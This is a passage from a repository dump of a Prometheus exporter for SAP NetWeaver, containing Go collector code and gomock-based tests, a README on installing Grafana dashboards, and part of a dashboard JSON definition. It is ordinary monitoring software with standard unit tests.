( 4 | "bytes" 5 | "os" 6 | "testing" 7 | 8 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 9 | "github.com/writhingretr/sap_host_exporter/test/mock_sapcontrol" 10 | "github.com/golang/mock/gomock" 11 | 12 | log "github.com/sirupsen/logrus" 13 | "github.com/stretchr/testify/assert" 14 | ) 15 | 16 | func captureOutput(f func()) string { 17 | var buf bytes.Buffer 18 | log.SetOutput(&buf) 19 | f() 20 | log.SetOutput(os.Stderr) 21 | return buf.String() 22 | } 23 | 24 | func TestActivationDispatcherOutput(t *testing.T) { 25 | ctrl := gomock.NewController(t) 26 | defer ctrl.Finish() 27 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 28 | 29 | mockWebService.EXPECT().GetProcessList().Return(&sapcontrol.GetProcessListResponse{ 30 | Processes: []*sapcontrol.OSProcess{ 31 | { 32 | Name: "enserver", 33 | Description: "foobar", 34 | Dispstatus: sapcontrol.STATECOLOR_GREEN, 35 | Textstatus: "Running", 36 | Starttime: "", 37 | Elapsedtime: "", 38 | Pid: 30787, 39 | }, 40 | { 41 | // activate the collector 42 | Name: "disp+work", 43 | Description: "foobar2", 44 | Dispstatus: sapcontrol.STATECOLOR_YELLOW, 45 | Textstatus: "Stopping", 46 | Starttime: "", 47 | Elapsedtime: "", 48 | Pid: 30786, 49 | }, 50 | { 51 | // activate the collector (on windows) 52 | Name: "disp+work.EXE", 53 | Description: "foobar2", 54 | Dispstatus: sapcontrol.STATECOLOR_YELLOW, 55 | Textstatus: "Stopping", 56 | Starttime: "", 57 | Elapsedtime: "", 58 | Pid: 30785, 59 | }, 60 | }, 61 | }, nil) 62 | 63 | output := captureOutput(func() { 64 | RegisterOptionalCollectors(mockWebService) 65 | }) 66 | assert.Contains(t, output, "Dispatcher optional collector registered") 67 | } 68 | 69 | func TestActivationEnqueueServerOutput(t *testing.T) { 70 | ctrl := gomock.NewController(t) 71 | defer ctrl.Finish() 72 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 73 | 74 | mockWebService.EXPECT().GetProcessList().Return(&sapcontrol.GetProcessListResponse{ 75 | Processes: []*sapcontrol.OSProcess{ 76 | { 77 | Name: "enserver", 78 | Description: "foobar", 79 | Dispstatus: sapcontrol.STATECOLOR_GREEN, 80 | Textstatus: "Running", 81 | Starttime: "", 82 | Elapsedtime: "", 83 | Pid: 30787, 84 | }, 85 | { 86 | // activate the collector 87 | Name: "msg_server", 88 | Description: "foobar2", 89 | Dispstatus: sapcontrol.STATECOLOR_YELLOW, 90 | Textstatus: "Stopping", 91 | Starttime: "", 92 | Elapsedtime: "", 93 | Pid: 30786, 94 | }, 95 | { 96 | // activate the collector (On Windows) 97 | Name: "msg_server.EXE", 98 | Description: "foobar2", 99 | Dispstatus: sapcontrol.STATECOLOR_YELLOW, 100 | Textstatus: "Stopping", 101 | Starttime: "", 102 | Elapsedtime: "", 103 | Pid: 30785, 104 | }, 105 | }, 106 | }, nil) 107 | 108 | output := captureOutput(func() { 109 | RegisterOptionalCollectors(mockWebService) 110 | }) 111 | assert.Contains(t, output, "Enqueue Server optional collector registered") 112 | 113 | } 114 | 115 | func TestNoActivation(t *testing.T) { 116 | ctrl := gomock.NewController(t) 117 | defer ctrl.Finish() 118 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 119 | 120 | mockWebService.EXPECT().GetProcessList().Return(&sapcontrol.GetProcessListResponse{ 121 | Processes: []*sapcontrol.OSProcess{ 122 | { 123 | Name: "bro", 124 | Description: "afake", 125 | Dispstatus: sapcontrol.STATECOLOR_GREEN, 126 | Textstatus: "Running", 127 | Starttime: "", 128 | Elapsedtime: "", 129 | Pid: 30787, 130 | }, 131 | { 132 | // activate the collector 133 | Name: "foa", 134 | Description: "foobar2", 135 | Dispstatus: sapcontrol.STATECOLOR_YELLOW, 136 | Textstatus: "Stopping", 137 | Starttime: "", 138 | Elapsedtime: "", 139 | Pid: 30786, 140 | }, 141 | }, 142 | }, nil) 143 | 144 | output := captureOutput(func() { 145 | RegisterOptionalCollectors(mockWebService) 146 | }) 147 | assert.NotContains(t, output, "Enqueue Server optional collector registered") 148 | assert.NotContains(t, output, "Dispatcher optional collector registered") 149 | } 150 | -------------------------------------------------------------------------------- /collector/start_service/start_service.go: -------------------------------------------------------------------------------- 1 | package start_service 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/pkg/errors" 7 | log "github.com/sirupsen/logrus" 8 | 9 | "github.com/prometheus/client_golang/prometheus" 10 | 11 | "github.com/writhingretr/sap_host_exporter/collector" 12 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 13 | ) 14 | 15 | func NewCollector(webService sapcontrol.WebService) (*startServiceCollector, error) { 16 | 17 | c := &startServiceCollector{ 18 | collector.NewDefaultCollector("start_service"), 19 | webService, 20 | } 21 | 22 | c.SetDescriptor("processes", "The processes started by the SAP Start Service", []string{"name", "pid", "status", "instance_name", "instance_number", "SID", "instance_hostname"}) 23 | c.SetDescriptor("instances", "The SAP instances in the context of the whole SAP system", []string{"features", "start_priority", "instance_name", "instance_number", "SID", "instance_hostname"}) 24 | 25 | return c, nil 26 | } 27 | 28 | type startServiceCollector struct { 29 | collector.DefaultCollector 30 | webService sapcontrol.WebService 31 | } 32 | 33 | func (c *startServiceCollector) Collect(ch chan<- prometheus.Metric) { 34 | log.Debugln("Collecting SAP Start Service metrics") 35 | 36 | errs := collector.RecordConcurrently([]func(ch chan<- prometheus.Metric) error{ 37 | c.recordProcesses, 38 | c.recordInstances, 39 | }, ch) 40 | 41 | for _, err := range errs { 42 | log.Warnf("Start Service Collector scrape failed: %s", err) 43 | } 44 | } 45 | 46 | func (c *startServiceCollector) recordProcesses(ch chan<- prometheus.Metric) error { 47 | processList, err := c.webService.GetProcessList() 48 | if err != nil { 49 | return errors.Wrap(err, "SAPControl web service error") 50 | } 51 | 52 | currentSapInstance, err := c.webService.GetCurrentInstance() 53 | if err != nil { 54 | return errors.Wrap(err, "SAPControl web service error") 55 | } 56 | 57 | for _, process := range processList.Processes { 58 | state, err := sapcontrol.StateColorToFloat(process.Dispstatus) 59 | if err != nil { 60 | return errors.Wrapf(err, "unable to process SAPControl OSProcess data: %v", *process) 61 | } 62 | ch <- c.MakeGaugeMetric( 63 | "processes", 64 | state, 65 | process.Name, 66 | strconv.Itoa(int(process.Pid)), 67 | process.Textstatus, 68 | currentSapInstance.Name, 69 | strconv.Itoa(int(currentSapInstance.Number)), 70 | currentSapInstance.SID, 71 | currentSapInstance.Hostname) 72 | } 73 | 74 | return nil 75 | } 76 | 77 | func (c *startServiceCollector) recordInstances(ch chan<- prometheus.Metric) error { 78 | instanceList, err := c.webService.GetSystemInstanceList() 79 | if err != nil { 80 | return errors.Wrap(err, "SAPControl web service error") 81 | } 82 | 83 | currentSapInstance, err := c.webService.GetCurrentInstance() 84 | if err != nil { 85 | return errors.Wrap(err, "SAPControl web service error") 86 | } 87 | 88 | for _, instance := range instanceList.Instances { 89 | // we only record the line relative to the current instance, to avoid duplicated metrics 90 | // we need to check both instance nr and virtual hostname because with SAP you can never be safe enough 91 | if instance.InstanceNr != currentSapInstance.Number || instance.Hostname != currentSapInstance.Hostname { 92 | continue 93 | } 94 | instanceStatus, err := sapcontrol.StateColorToFloat(instance.Dispstatus) 95 | if err != nil { 96 | return errors.Wrapf(err, "unable to process SAPControl Instance data: %v", *instance) 97 | } 98 | ch <- c.MakeGaugeMetric( 99 | "instances", 100 | instanceStatus, 101 | instance.Features, 102 | instance.StartPriority, 103 | currentSapInstance.Name, 104 | strconv.Itoa(int(currentSapInstance.Number)), 105 | currentSapInstance.SID, 106 | currentSapInstance.Hostname) 107 | } 108 | 109 | return nil 110 | } 111 | -------------------------------------------------------------------------------- /collector/start_service/start_service_test.go: -------------------------------------------------------------------------------- 1 | package start_service 2 | 3 | import ( 4 | "strings" 5 | "testing" 6 | 7 | "github.com/writhingretr/sap_host_exporter/lib/sapcontrol" 8 | "github.com/writhingretr/sap_host_exporter/test/mock_sapcontrol" 9 | "github.com/golang/mock/gomock" 10 | "github.com/prometheus/client_golang/prometheus/testutil" 11 | "github.com/stretchr/testify/assert" 12 | ) 13 | 14 | func TestNewCollector(t *testing.T) { 15 | ctrl := gomock.NewController(t) 16 | defer ctrl.Finish() 17 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 18 | 19 | _, err := NewCollector(mockWebService) 20 | 21 | assert.Nil(t, err) 22 | } 23 | 24 | func TestProcessesMetric(t *testing.T) { 25 | ctrl := gomock.NewController(t) 26 | defer ctrl.Finish() 27 | 28 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 29 | mockWebService.EXPECT().GetProcessList().Return(&sapcontrol.GetProcessListResponse{ 30 | Processes: []*sapcontrol.OSProcess{ 31 | { 32 | Name: "enserver", 33 | Description: "foobar", 34 | Dispstatus: sapcontrol.STATECOLOR_GREEN, 35 | Textstatus: "Running", 36 | Starttime: "", 37 | Elapsedtime: "", 38 | Pid: 30787, 39 | }, 40 | { 41 | Name: "msg_server", 42 | Description: "foobar2", 43 | Dispstatus: sapcontrol.STATECOLOR_YELLOW, 44 | Textstatus: "Stopping", 45 | Starttime: "", 46 | Elapsedtime: "", 47 | Pid: 30786, 48 | }, 49 | }, 50 | }, nil) 51 | mockWebService.EXPECT().GetSystemInstanceList().Return(&sapcontrol.GetSystemInstanceListResponse{}, nil) 52 | mockWebService.EXPECT().GetCurrentInstance().Return(&sapcontrol.CurrentSapInstance{ 53 | SID: "HA1", 54 | Number: 0, 55 | Name: "ASCS", 56 | Hostname: "sapha1as", 57 | }, nil).AnyTimes() 58 | 59 | expectedMetrics := ` 60 | # HELP sap_start_service_processes The processes started by the SAP Start Service 61 | # TYPE sap_start_service_processes gauge 62 | sap_start_service_processes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",name="enserver",pid="30787",status="Running"} 2 63 | sap_start_service_processes{SID="HA1",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",name="msg_server",pid="30786",status="Stopping"} 3 64 | ` 65 | 66 | var err error 67 | collector, err := NewCollector(mockWebService) 68 | assert.NoError(t, err) 69 | 70 | err = testutil.CollectAndCompare(collector, strings.NewReader(expectedMetrics), "sap_start_service_processes") 71 | assert.NoError(t, err) 72 | } 73 | 74 | func TestInstancesMetric(t *testing.T) { 75 | ctrl := gomock.NewController(t) 76 | defer ctrl.Finish() 77 | 78 | mockWebService := mock_sapcontrol.NewMockWebService(ctrl) 79 | mockWebService.EXPECT().GetSystemInstanceList().Return(&sapcontrol.GetSystemInstanceListResponse{ 80 | Instances: []*sapcontrol.SAPInstance{ 81 | { 82 | Hostname: "sapha1as", 83 | InstanceNr: 0, 84 | HttpPort: 50013, 85 | HttpsPort: 50014, 86 | StartPriority: "1", 87 | Features: "MESSAGESERVER|ENQUE", 88 | Dispstatus: sapcontrol.STATECOLOR_GREEN, 89 | }, 90 | { 91 | Hostname: "sapha1er", 92 | InstanceNr: 10, 93 | HttpPort: 51013, 94 | HttpsPort: 51014, 95 | StartPriority: "0.5", 96 | Features: "ENQREP", 97 | Dispstatus: sapcontrol.STATECOLOR_GREEN, 98 | }, 99 | }, 100 | }, nil) 101 | mockWebService.EXPECT().GetProcessList().Return(&sapcontrol.GetProcessListResponse{}, nil) 102 | mockWebService.EXPECT().GetCurrentInstance().Return(&sapcontrol.CurrentSapInstance{ 103 | SID: "HA1", 104 | Number: 0, 105 | Name: "ASCS", 106 | Hostname: "sapha1as", 107 | }, nil).AnyTimes() 108 | 109 | expectedMetrics := ` 110 | # HELP sap_start_service_instances The SAP instances in the context of the whole SAP system 111 | # TYPE sap_start_service_instances gauge 112 | sap_start_service_instances{SID="HA1",features="MESSAGESERVER|ENQUE",instance_hostname="sapha1as",instance_name="ASCS",instance_number="0",start_priority="1"} 2 113 | ` 114 | 115 | var err error 116 | collector, err := NewCollector(mockWebService) 117 | assert.NoError(t, err) 118 | 119 | err = testutil.CollectAndCompare(collector, strings.NewReader(expectedMetrics), "sap_start_service_instances") 120 | assert.NoError(t, err) 121 | } 122 | -------------------------------------------------------------------------------- /dashboards/README.md: -------------------------------------------------------------------------------- 1 | # Grafana dashboards 2 | 3 | We provide a dashboards for Grafana, leveraging the exporter. 4 | 5 | 6 | ## SAP NetWeaver 7 | 8 | This dashboard shows the details of a single landscape. 9 | 10 | ![SAP NetWeaver](screenshot.png) 11 | 12 | 13 | ## Installation 14 | 15 | ### RPM 16 | 17 | On openSUSE and SUSE Linux Enterprise distributions, you can install the package via zypper in your Grafana host: 18 | ``` 19 | zypper in grafana-sap-netweaver-dashboards 20 | systemctl restart grafana-server 21 | ``` 22 | 23 | For the latest development version, please refer to the [development upstream project in OBS](https://build.opensuse.org/project/show/network:ha-clustering:sap-deployments:devel), which is automatically updated everytime we merge changes in this repository. 24 | 25 | ### Manual 26 | 27 | Copy the [provider configuration file](https://build.opensuse.org/package/view_file/network:ha-clustering:sap-deployments:devel/grafana-sap-providers/provider-sles4sap.yaml?expand=1) in `/etc/grafana/provisioning/dashboards` and then the JSON files inside `/var/lib/grafana/dashboards/sles4sap`. 28 | 29 | Once done, restart the Grafana server. 30 | 31 | 32 | ## Development notes 33 | 34 | - Please make sure the `version` field in the JSON is incremented just once per PR. 35 | - Unlike the exporter, OBS Submit Requests are not automated for the dashboard package. 36 | Once PRs are merged, you will have to manually perform a Submit Request against `openSUSE:Factory`, after updating the `version` field in the `_service` file and adding an entry to the `grafana-sap-netweaver-dashboards.changes` file. 37 | -------------------------------------------------------------------------------- /dashboards/grafana-sap-netweaver.json: -------------------------------------------------------------------------------- 1 | { 2 | "__inputs": [ 3 | { 4 | "name": "DS_PROMETHEUS", 5 | "label": "Prometheus", 6 | "description": "", 7 | "type": "datasource", 8 | "pluginId": "prometheus", 9 | "pluginName": "Prometheus" 10 | } 11 | ], 12 | "__requires": [ 13 | { 14 | "type": "panel", 15 | "id": "bargauge", 16 | "name": "Bar gauge", 17 | "version": "" 18 | }, 19 | { 20 | "type": "grafana", 21 | "id": "grafana", 22 | "name": "Grafana", 23 | "version": "7.1.5" 24 | }, 25 | { 26 | "type": "panel", 27 | "id": "graph", 28 | "name": "Graph", 29 | "version": "" 30 | }, 31 | { 32 | "type": "datasource", 33 | "id": "prometheus", 34 | "name": "Prometheus", 35 | "version": "1.0.0" 36 | }, 37 | { 38 | "type": "panel", 39 | "id": "table-old", 40 | "name": "Table (old)", 41 | "version": "" 42 | } 43 | ], 44 | "annotations": { 45 | "list": [ 46 | { 47 | "builtIn": 1, 48 | "datasource": "-- Grafana --", 49 | "enable": true, 50 | "hide": true, 51 | "iconColor": "rgba(0, 211, 255, 1)", 52 | "name": "Annotations & Alerts", 53 | "type": "dashboard" 54 | } 55 | ] 56 | }, 57 | "description": "Shows detailed stats of a SAP NetWeaver cluster. Brought to you by SUSE.", 58 | "editable": true, 59 | "gnetId": null, 60 | "graphTooltip": 0, 61 | "id": null, 62 | "iteration": 1601642452435, 63 | "links": [], 64 | "panels": [ 65 | { 66 | "collapsed": false, 67 | "datasource": "${DS_PROMETHEUS}", 68 | "gridPos": { 69 | "h": 1, 70 | "w": 24, 71 | "x": 0, 72 | "y": 0 73 | }, 74 | "id": 10, 75 | "panels": [], 76 | "title": "Start Service", 77 | "type": "row" 78 | }, 79 | { 80 | "columns": [], 81 | "datasource": "${DS_PROMETHEUS}", 82 | "fieldConfig": { 83 | "defaults": { 84 | "custom": {} 85 | }, 86 | "overrides": [] 87 | }, 88 | "fontSize": "100%", 89 | "gridPos": { 90 | "h": 6, 91 | "w": 12, 92 | "x": 0, 93 | "y": 1 94 | }, 95 | "id": 28, 96 | "pageSize": null, 97 | "scroll": true, 98 | "showHeader": true, 99 | "sort": { 100 | "col": 0, 101 | "desc": true 102 | }, 103 | "styles": [ 104 | { 105 | "alias": "Features", 106 | "align": "auto", 107 | "colorMode": null, 108 | "colors": [ 109 | "rgba(245, 54, 54, 0.9)", 110 | "rgba(237, 129, 40, 0.89)", 111 | "rgba(50, 172, 45, 0.97)" 112 | ], 113 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 114 | "decimals": 2, 115 | "mappingType": 1, 116 | "pattern": "features", 117 | "thresholds": [], 118 | "type": "string", 119 | "unit": "short" 120 | }, 121 | { 122 | "alias": "Number", 123 | "align": "auto", 124 | "colorMode": null, 125 | "colors": [ 126 | "rgba(245, 54, 54, 0.9)", 127 | "rgba(237, 129, 40, 0.89)", 128 | "rgba(50, 172, 45, 0.97)" 129 | ], 130 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 131 | "decimals": 0, 132 | "mappingType": 1, 133 | "pattern": "instance_number", 134 | "thresholds": [], 135 | "type": "number", 136 | "unit": "short" 137 | }, 138 | { 139 | "alias": "Start priority", 140 | "align": "auto", 141 | "colorMode": null, 142 | "colors": [ 143 | "rgba(245, 54, 54, 0.9)", 144 | "rgba(237, 129, 40, 0.89)", 145 | "rgba(50, 172, 45, 0.97)" 146 | ], 147 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 148 | "decimals": 1, 149 | "mappingType": 1, 150 | "pattern": "start_priority", 151 | "thresholds": [], 152 | "type": "number", 153 | "unit": "short" 154 | }, 155 | { 156 | "alias": "Status", 157 | "align": "auto", 158 | "colorMode": null, 159 | "colors": [ 160 | "rgba(245, 54, 54, 0.9)", 161 | "rgba(237, 129, 40, 0.89)", 162 | "rgba(50, 172, 45, 0.97)" 163 | ], 164 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 165 | "decimals": 2, 166 | "mappingType": 1, 167 | "pattern": "Value", 168 | "thresholds": [], 169 | "type": "string", 170 | "unit": "short", 171 | "valueMaps": [ 172 | { 173 | "text": "GRAY", 174 | "value": "1" 175 | }, 176 | { 177 | "text": "GREEN", 178 | "value": "2" 179 | }, 180 | { 181 | "text": "YELLOW", 182 | "value": "3" 183 | }, 184 | { 185 | "text": "RED", 186 | "value": "4" 187 | } 188 | ] 189 | }, 190 | { 191 | "alias": "", 192 | "align": "auto", 193 | "colorMode": null, 194 | "colors": [ 195 | "rgba(245, 54, 54, 0.9)", 196 | "rgba(237, 129, 40, 0.89)", 197 | "rgba(50, 172, 45, 0.97)" 198 | ], 199 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 200 | "decimals": 2, 201 | "mappingType": 1, 202 | "pattern": "SID", 203 | "thresholds": [], 204 | "type": "string", 205 | "unit": "short" 206 | }, 207 | { 208 | "alias": "Hostname", 209 | "align": "auto", 210 | "colorMode": null, 211 | "colors": [ 212 | "rgba(245, 54, 54, 0.9)", 213 | "rgba(237, 129, 40, 0.89)", 214 | "rgba(50, 172, 45, 0.97)" 215 | ], 216 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 217 | "decimals": 2, 218 | "mappingType": 1, 219 | "pattern": "instance_hostname", 220 | "thresholds": [], 221 | "type": "number", 222 | "unit": "short" 223 | }, 224 | { 225 | "alias": "Name", 226 | "align": "auto", 227 | "colorMode": null, 228 | "colors": [ 229 | "rgba(245, 54, 54, 0.9)", 230 | "rgba(237, 129, 40, 0.89)", 231 | "rgba(50, 172, 45, 0.97)" 232 | ], 233 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 234 | "decimals": 2, 235 | "mappingType": 1, 236 | "pattern": "instance_name", 237 | "thresholds": [], 238 | "type": "number", 239 | "unit": "short" 240 | }, 241 | { 242 | "alias": "", 243 | "align": "auto", 244 | "colorMode": null, 245 | "colors": [ 246 | "rgba(245, 54, 54, 0.9)", 247 | "rgba(237, 129, 40, 0.89)", 248 | "rgba(50, 172, 45, 0.97)" 249 | ], 250 | "decimals": 2, 251 | "pattern": "/.*/", 252 | "thresholds": [], 253 | "type": "hidden", 254 | "unit": "short" 255 | } 256 | ], 257 | "targets": [ 258 | { 259 | "expr": "sap_start_service_instances", 260 | "format": "table", 261 | "instant": true, 262 | "refId": "A" 263 | } 264 | ], 265 | "timeFrom": null, 266 | "timeShift": null, 267 | "title": "Instances", 268 | "transform": "table", 269 | "type": "table-old" 270 | }, 271 | { 272 | "columns": [], 273 | "datasource": "${DS_PROMETHEUS}", 274 | "fieldConfig": { 275 | "defaults": { 276 | "custom": {} 277 | }, 278 | "overrides": [] 279 | }, 280 | "fontSize": "100%", 281 | "gridPos": { 282 | "h": 6, 283 | "w": 12, 284 | "x": 12, 285 | "y": 1 286 | }, 287 | "id": 2, 288 | "pageSize": null, 289 | "pluginVersion": "6.3.5", 290 | "scroll": true, 291 | "showHeader": true, 292 | "sort": { 293 | "col": 3, 294 | "desc": false 295 | }, 296 | "styles": [ 297 | { 298 | "alias": "Code", 299 | "align": "auto", 300 | "colorMode": null, 301 | "colors": [ 302 | "rgba(50, 172, 45, 0.97)", 303 | "#FF9830", 304 | "rgba(245, 54, 54, 0.9)" 305 | ], 306 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 307 | "decimals": 2, 308 | "link": false, 309 | "mappingType": 1, 310 | "pattern": "Value", 311 | "thresholds": [ 312 | "3", 313 | "4" 314 | ], 315 | "type": "string", 316 | "unit": "short", 317 | "valueMaps": [ 318 | { 319 | "text": "GRAY", 320 | "value": "1" 321 | }, 322 | { 323 | "text": "GREEN", 324 | "value": "2" 325 | }, 326 | { 327 | "text": "YELLOW", 328 | "value": "3" 329 | }, 330 | { 331 | "text": "RED", 332 | "value": "4" 333 | } 334 | ] 335 | }, 336 | { 337 | "alias": "PID", 338 | "align": "auto", 339 | "colorMode": null, 340 | "colors": [ 341 | "rgba(245, 54, 54, 0.9)", 342 | "rgba(237, 129, 40, 0.89)", 343 | "rgba(50, 172, 45, 0.97)" 344 | ], 345 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 346 | "decimals": 2, 347 | "mappingType": 1, 348 | "pattern": "pid", 349 | "thresholds": [], 350 | "type": "string", 351 | "unit": "short" 352 | }, 353 | { 354 | "alias": "Status", 355 | "align": "auto", 356 | "colorMode": null, 357 | "colors": [ 358 | "rgba(245, 54, 54, 0.9)", 359 | "rgba(237, 129, 40, 0.89)", 360 | "rgba(50, 172, 45, 0.97)" 361 | ], 362 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 363 | "decimals": 2, 364 | "mappingType": 1, 365 | "pattern": "status", 366 | "thresholds": [], 367 | "type": "number", 368 | "unit": "short" 369 | }, 370 | { 371 | "alias": "Process name", 372 | "align": "auto", 373 | "colorMode": null, 374 | "colors": [ 375 | "rgba(245, 54, 54, 0.9)", 376 | "rgba(237, 129, 40, 0.89)", 377 | "rgba(50, 172, 45, 0.97)" 378 | ], 379 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 380 | "decimals": 2, 381 | "mappingType": 1, 382 | "pattern": "name", 383 | "thresholds": [], 384 | "type": "string", 385 | "unit": "short" 386 | }, 387 | { 388 | "alias": "Instance name", 389 | "align": "auto", 390 | "colorMode": null, 391 | "colors": [ 392 | "rgba(245, 54, 54, 0.9)", 393 | "rgba(237, 129, 40, 0.89)", 394 | "rgba(50, 172, 45, 0.97)" 395 | ], 396 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 397 | "decimals": 2, 398 | "mappingType": 1, 399 | "pattern": "instance_name", 400 | "thresholds": [], 401 | "type": "string", 402 | "unit": "short" 403 | }, 404 | { 405 | "alias": "Instance nr.", 406 | "align": "auto", 407 | "colorMode": null, 408 | "colors": [ 409 | "rgba(245, 54, 54, 0.9)", 410 | "rgba(237, 129, 40, 0.89)", 411 | "rgba(50, 172, 45, 0.97)" 412 | ], 413 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 414 | "decimals": 2, 415 | "mappingType": 1, 416 | "pattern": "instance_number", 417 | "thresholds": [], 418 | "type": "string", 419 | "unit": "short" 420 | }, 421 | { 422 | "alias": "", 423 | "align": "auto", 424 | "colorMode": null, 425 | "colors": [ 426 | "rgba(245, 54, 54, 0.9)", 427 | "rgba(237, 129, 40, 0.89)", 428 | "rgba(50, 172, 45, 0.97)" 429 | ], 430 | "dateFormat": "YYYY-MM-DD HH:mm:ss", 431 | "decimals": 2, 432 | "mappingType": 1, 433 | "pattern": "/.*/", 434 | "thresholds": [], 435 | "type": "hidden", 436 | "unit": "short" 437 | } 438 | ], 439 | "targets": [ 440 | { 441 | "expr": "sap_start_service_processes", 442 | "format": "table", 443 | "hide": false, 444 | "instant": true, 445 | "refId": "A" 446 | } 447 | ], 448 | "timeFrom": null, 449 | "timeShift": null, 450 | "title": "Processes", 451 | "transform": "table", 452 | "type": "table-old" 453 | }, 454 | { 455 | "aliasColors": { 456 | "GRAY": "rgb(128, 128, 128)", 457 | "GREEN": "green", 458 | "RED": "red", 459 | "YELLOW": "yellow" 460 | }, 461 | "bars": false, 462 | "dashLength": 10, 463 | "dashes": false, 464 | "datasource": "${DS_PROMETHEUS}", 465 | "fieldConfig": { 466 | "defaults": { 467 | "custom": {}, 468 | "links": [] 469 | }, 470 | "overrides": [] 471 | }, 472 | "fill": 1, 473 | "fillGradient": 0, 474 | "gridPos": { 475 | "h": 8, 476 | "w": 12, 477 | "x": 0, 478 | "y": 7 479 | }, 480 | "hiddenSeries": false, 481 | "id": 30, 482 | "legend": { 483 | "avg": false, 484 | "current": false, 485 | "max": false, 486 | "min": false, 487 | "show": true, 488 | "total": false, 489 | "values": false 490 | }, 491 | "lines": true, 492 | "linewidth": 1, 493 | "nullPointMode": "null", 494 | "percentage": false, 495 | "pluginVersion": "7.1.5", 496 | "pointradius": 2, 497 | "points": false, 498 | "renderer": "flot", 499 | "seriesOverrides": [], 500 | "spaceLength": 10, 501 | "stack": false, 502 | "steppedLine": false, 503 | "targets": [ 504 | { 505 | "expr": "count(sap_start_service_instances == 1)", 506 | "legendFormat": "GRAY", 507 | "refId": "A" 508 | }, 509 | { 510 | "expr": "count(sap_start_service_instances == 2)", 511 | "legendFormat": "GREEN", 512 | "refId": "B" 513 | }, 514 | { 515 | "expr": "count(sap_start_service_instances == 3)", 516 | "legendFormat": "YELLOW", 517 | "refId": "C" 518 | }, 519 | { 520 | "expr": "count(sap_start_service_instances == 4)", 521 | "legendFormat": "RED", 522 | "refId": "D" 523 | } 524 | ], 525 | "thresholds": [], 526 | "timeFrom": null, 527 | "timeRegions": [], 528 | "timeShift": null, 529 | "title": "Instance Status", 530 | "tooltip": { 531 | "shared": true, 532 | "sort": 0, 533 | "value_type": "individual" 534 | }, 535 | "type": "graph", 536 | "xaxis": { 537 | "buckets": null, 538 | "mode": "time", 539 | "name": null, 540 | "show": true, 541 | "values": [] 542 | }, 543 | "yaxes": [ 544 | { 545 | "decimals": 0, 546 | "format": "short", 547 | "label": null, 548 | "logBase": 1, 549 | "max": null, 550 | "min": "0", 551 | "show": true 552 | }, 553 | { 554 | "format": "short", 555 | "label": null, 556 | "logBase": 1, 557 | "max": null, 558 | "min": null, 559 | "show": true 560 | } 561 | ], 562 | "yaxis": { 563 | "align": false, 564 | "alignLevel": null 565 | } 566 | }, 567 | { 568 | "aliasColors": { 569 | "GRAY": "rgb(128, 128, 128)", 570 | "GREEN": "green", 571 | "RED": "red", 572 | "YELLOW": "yellow" 573 | }, 574 | "bars": false, 575 | "dashLength": 10, 576 | "dashes": false, 577 | "datasource": "${DS_PROMETHEUS}", 578 | "fieldConfig": { 579 | "defaults": { 580 | "custom": {}, 581 | "links": [] 582 | }, 583 | "overrides": [] 584 | }, 585 | "fill": 1, 586 | "fillGradient": 0, 587 | "gridPos": { 588 | "h": 8, 589 | "w": 12, 590 | "x": 12, 591 | "y": 7 592 | }, 593 | "hiddenSeries": false, 594 | "id": 4, 595 | "legend": { 596 | "avg": false, 597 | "current": false, 598 | "max": false, 599 | "min": false, 600 | "show": true, 601 | "total": false, 602 | "values": false 603 | }, 604 | "lines": true, 605 | "linewidth": 1, 606 | "nullPointMode": "null", 607 | "percentage": false, 608 | "pluginVersion": "7.1.5", 609 | "pointradius": 2, 610 | "points": false, 611 | "renderer": "flot", 612 | "seriesOverrides": [], 613 | "spaceLength": 10, 614 | "stack": false, 615 | "steppedLine": false, 616 | "targets": [ 617 | { 618 | "expr": "count(sap_start_service_processes == 1)", 619 | "interval": "", 620 | "legendFormat": "GRAY", 621 | "refId": "A" 622 | }, 623 | { 624 | "expr": "count(sap_start_service_processes == 2)", 625 | "legendFormat": "GREEN", 626 | "refId": "B" 627 | }, 628 | { 629 | "expr": "count(sap_start_service_processes == 3)", 630 | "legendFormat": "YELLOW", 631 | "refId": "C" 632 | }, 633 | { 634 | "expr": "count(sap_start_service_processes == 4)", 635 | "legendFormat": "RED", 636 | "refId": "D" 637 | } 638 | ], 639 | "thresholds": [], 640 | "timeFrom": null, 641 | "timeRegions": [], 642 | "timeShift": null, 643 | "title": "Process Status", 644 | "tooltip": { 645 | "shared": true, 646 | "sort": 0, 647 | "value_type": "individual" 648 | }, 649 | "type": "graph", 650 | "xaxis": { 651 | "buckets": null, 652 | "mode": "time", 653 | "name": null, 654 | "show": true, 655 | "values": [] 656 | }, 657 | "yaxes": [ 658 | { 659 | "decimals": 0, 660 | "format": "short", 661 | "label": null, 662 | "logBase": 1, 663 | "max": null, 664 | "min": null, 665 | "show": true 666 | }, 667 | { 668 | "decimals": 0, 669 | "format": "short", 670 | "label": null, 671 | "logBase": 1, 672 | "max": null, 673 | "min": null, 674 | "show": true 675 | } 676 | ], 677 | "yaxis": { 678 | "align": false, 679 | "alignLevel": null 680 | } 681 | }, 682 | { 683 | "collapsed": false, 684 | "datasource": "${DS_PROMETHEUS}", 685 | "gridPos": { 686 | "h": 1, 687 | "w": 24, 688 | "x": 0, 689 | "y": 15 690 | }, 691 | "id": 22, 692 | "panels": [], 693 | "title": "Enqueue Server", 694 | "type": "row" 695 | }, 696 | { 697 | "aliasColors": {}, 698 | "bars": false, 699 | 